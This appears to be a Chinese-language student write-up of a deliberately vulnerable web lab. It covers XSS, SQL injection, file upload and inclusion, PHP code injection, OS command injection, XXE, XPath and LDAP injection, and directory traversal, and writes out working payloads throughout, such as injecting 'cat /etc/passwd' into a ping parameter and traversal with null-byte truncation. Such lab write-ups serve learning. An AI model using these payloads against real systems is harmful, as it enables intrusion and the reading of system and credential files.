看到Hello hacker
,然后url中有name=hacker
,换个字符试下,果然,是php获取$_GET[‘name’]的值,然后输出出来,和自己最初学习xss时练习的一样。试下,成功弹窗
先输入上面的最基本的payload试下,发现被过滤了,那就构造
这题用第二题的payload就可以弹窗,不知道和第二题有什么区别
输入script时就会全部替换为error,那就用img标签,,做到这已经明白这个系列了,绕过各种过滤
不能输入alert,考虑String.fromCharCode()函数,
怎么输都不显示,后来f12看了下,发现输入的字符赋给了$a(开始变换姿势了),既然如此,就很简单了,";alert(%27xss%27);//
上面的双引号换成了单引号,思路不变,';alert(%27xss%27);//
题目换成了一个输入框,点击发送时会把里面的内容原样显示出来,毫无思路,看了下其他人写的题解,表单的目标url是可以构造的,于是可以这样"%20onsubmit="alert('xss')
,用户点击时就会弹窗
查看源码,document.write(location.hash.substring(1));
,输出从#开始的url,换汤不换药,思路不变,过滤了,第四题的payload就可以,
今天晚上做出来了xss部分是一个好的开始,睡觉,明天继续!顺便再研究下md语法!
下载东西设置定时关机,忘记保存wp,只能重新写这部分,血的教训!
单引号字符型注入,不会报错,最基本的,' or '1'='1
还是字符型,先试下上面的payload,提示ERROR NO SPACE
,那就把空格删了,'or'1'='1
,结果可以了,所以不用空格也是可以的?
提示和解法都和第二题一样,难道是我误会了出题者的意思 = =?
换成了数字型,2 or 1=1
和上面题一样
还是同样的注入,我有点慌了
终于有变化了,先输入上面的payload后提示ERROR INTEGER REQUIRED
,然后我就不会做了。。。
order by语句的话,在mysql中是SELECT * FROM users ORDER BY name
或ORDER BY `name`
,试下name`;%23
,输出不变,所以这题是第二种,位于反引号内
和上面那题类似,只不过是采用的第一种语句,name and 1=1
,输出结果不变,然后就就可以自由发挥了
整体来说比较基本,而且lightless学长说过,
盲注才是注入的精髓
所以sql注入方面下一步学习用php写盲注脚本
2016.7.28 最近在看《白帽子讲web安全》这本书,想起来这里有一些合适的题,便来做一下
分为本地文件包含(Local File Inclusion)和远程文件包含(Remote File Inclusion)
1 |
example1.php?page=intro.php |
修改intro.php
,可以包含其他文件
1 |
example2.php?page=intro |
和上题差不多,只不过默认文件名是.php,只要用%00截断就可以了
没有过滤,可以直接上传脚本
比如本地有一个test.php的文件,内容是
1 2 3 |
phpinfo(); ?> |
这样就可以看到有关PHP配置的信息
要求上传图像文件,测试了下是黑名单,所以这里利用Apache对文件名从后向前解析、遇到不认识的文件类型向前遍历的特性,把本地的文件名修改为test.php.aaa
代码注入是因为不安全的函数或方法没有被禁用(如eval(),system()),而且没有对用户的输入数据做处理,导致攻击者修改输入数据执行了自己想要的命令
GET请求为
1 |
name=hacker |
输出为
1 |
Hello hacker!!! |
猜测代码可能是这样
1 2 |
$name = $_GET['name']; eval('echo "Hello $name!!!"'); |
构造GET请求(第一个;
可替换为.
)
1 2 |
name=";phpinfo();$a=" eval('echo "";phpinfo();$a="";'); |
或者( //
替换为 #
也可以 )
1 2 |
name=".phpinfo();// eval('echo "".phpinfo();//'); |
1 |
order=);}phpinfo(); |
这题有点想不通源码怎么写的,先放上别人的答案吧
GET请求为
1 |
new=hacker&pattern=/lamer/&base=Hello%20lamer |
输出为
1 |
Hello hacker |
经过测试后发现 /string/ 里的 string 被替换成了 new 的值,源码大概是这样
1 2 3 4 |
$new = $_GET['new']; $pattern = $_GET['pattern']; $base = $_GET['base']; preg_replace($pattern,$new,$base); |
这题的关键在于/e
修饰符会使函数preg_replace()在替换时把替换字符串当做PHP代码来执行,所以我们可以让new=phpinfo(),不过要注意的是/e
修饰符从PHP5.5.0开始已经被弃用了
GET请求为
1 |
name=hacker |
输出为
1 |
Hello hacker |
当提交单引号时出现错误信息
1 |
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4 |
可以看到后面是错误执行代码’hacker’’,那么我们可以先闭合单引号然后直接注入代码
1 |
hacker'.phpinfo().' |
命令注入,即应用程序把用户的输入(URL,请求参数以及cookie)当做了OS命令的一部分来执行
ping命令,对用户数据没有任何的检测,修改GET请求为
1 |
ip=127.0.0.1 %26%26 cat /etc/passwd |
%26是&
的URL编码,必须进行编码,否则无法执行命令
和上题一样,也是ping命令,不过加了验证,注入上面的payload输出Invalid IP address,检测是否是一个正确的IP地址,这里我们可以用换行符(%0a)
1 |
ip=127.0.0.1%0acat /etc/passwd |
依然是ping命令,先测试前两个payload看下输出,均重定向到了example3.php?ip=127.0.0.1
,问但题在于是执行完命令后再跳转的,所以可以通过抓包看到注入结果
这里的XML和下面的LDAP以前都没接触过,那就现学吧
GET请求为
1 |
xml= |
输出为
1 |
Hello hacker |
这里存在XML外部实体(XXE)注入漏洞
1 |
xml=]> |
这里我们定义了一个实体引用&xxe;
,XML解析器会提取指定文件的内容并用它替代这个实体引用,所以就可以得到服务器上文件的内容
GET请求为
1 |
name=hacker |
输出和上题一样,注入单引号后根据错误信息可以看出使用XPath(XML路径语言)来查询XML文档中的节点,源码是看的别人的,刚接触实在想不出来
1 |
[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES] |
所以可以构造语句(NULL字节是XPath中的注释符,URL编码为%00)
1 |
name=hacker' or 1=1]/../child::node()%00 |
可以查询父节点下的所有子节点
这里就不再继续了,等之后再深入研究吧
LDAP(轻量级目录访问协议)用于访问网络中的目录(分级结构的数据存储区)服务。有三种查询方法,简单匹配条件(匹配单个值),析取查询(满足其中任何一个条件),合取查询(满足所有条件)
例如 (user=test) (!(user=test1)(user=test2)) (&(user=test)(pass=test)) 分别表示了上面三种查询方法
GET请求为
1 |
username=hacker&password=hacker |
问题在于在一些LDAP的服务器中,如果没有请求参数值被发送,LDAP服务器将会绑定连接,而且PHP代码将会认为验证正确
Some LDAP servers authorise NULL Bind: if null values are sent, the LDAP server will proceed to bind the connection, and the PHP code will think that the credentials are correct.
所以可以把GET请求删掉,就会输出AUTHENTICATED,这让我想起了土师傅出的那道验证码题也是删掉请求,只不过那是POST请求,需要抓包,而且是故意造的洞,无论你输入什么都不会得到flag
GET请求和上题一样,输出为
1 |
AUTHENTICATED as hacker |
如果我们想要以admin身份登录呢?
经测试推测出过滤器源码
1 |
(&(name=[input1])(password=HASH[input2])) |
可以这样
1 |
name=admin))%00&password=233 |
LDAP本身并不支持注释,但它在处理NULL字节时会立即终止字符串的漏洞造成了可以完成”注释”
还有一种常用的方法是
1 2 |
name=admin))(&(name=233&password=233 (&(name=admin))(&(name=233)(password=233)) |
这样就有了两个搜索过滤器,但只有一部分LDAP允许使用多个过滤器(选择性使用),比如这题就不可以
目录遍历漏洞。没有给出连接,只有三个头像,果断F12查看以下,果然有图片的路径。那么就开始吧,这里我们以获取 /etc/passwd 为例
1 |
|
猜测可能是当前目录,那么向上查询试试
1 |
http://192.168.253.128/dirtrav/example1.php?file=../../../etc/passwd |
1 |
|
这题就很简单了,绝对路径都有了,向上返回三次就到达根目录了
1 |
http://192.168.253.128/dirtrav/example2.php?file=/var/www/files/../../../etc/passwd |
1 |
|
很明显和第一题是一样的,只不过自动帮你加上了.png后缀,可以用%00截断嘛
1 |
http://192.168.253.128/dirtrav/example3.php?file=../../../etc/passwd%00 |
挺简单的,这里有一个小技巧,你不用逐层向上查询,因为cd /../
,还是在根目录,所以直接用很多../
,根本不用一个个的向上试
做到这里这个镜像内的题目就结束了,收获还是挺多的,知道了命令注入、代码注入、文件包含、文件上传、目录遍历、LDAP注入、XML注入等等的基本思路和原理,学的越多,越感到自己的无知,何况自己才刚入门,希望接下来的一个月能够学到更多的东西吧 :)